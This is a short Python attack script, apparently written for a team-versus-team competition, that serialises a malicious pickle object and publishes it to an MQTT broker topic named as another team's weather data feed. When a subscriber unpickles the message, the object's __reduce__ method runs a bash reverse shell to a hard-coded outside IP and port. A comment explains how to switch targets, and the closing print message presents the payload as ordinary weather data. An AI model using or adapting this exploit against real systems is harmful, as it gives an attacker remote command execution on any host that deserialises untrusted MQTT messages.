import pickle
import time
import paho.mqtt.client as mqtt

class Malicious:
    def __reduce__(self):
        import os
        return (os.system, ("bash -c 'sh -i >& /dev/tcp/49.10.219.164/4444 0>&1'",))

MQTT_BROKER = "199.100.196.230"
MQTT_PORT = 1883
#EDIT THIS TO TARGET A DIFFERENT TEAM
MQTT_TOPIC = "TEAM_6/weather_data"

# Serialize data using pickle
payload = pickle.dumps(Malicious())

# Create MQTT client and connect
client = mqtt.Client()
client.connect(MQTT_BROKER, MQTT_PORT, 60)

# Publish message
client.publish(MQTT_TOPIC, payload)
print("Published weather data to MQTT topic.")

client.disconnect()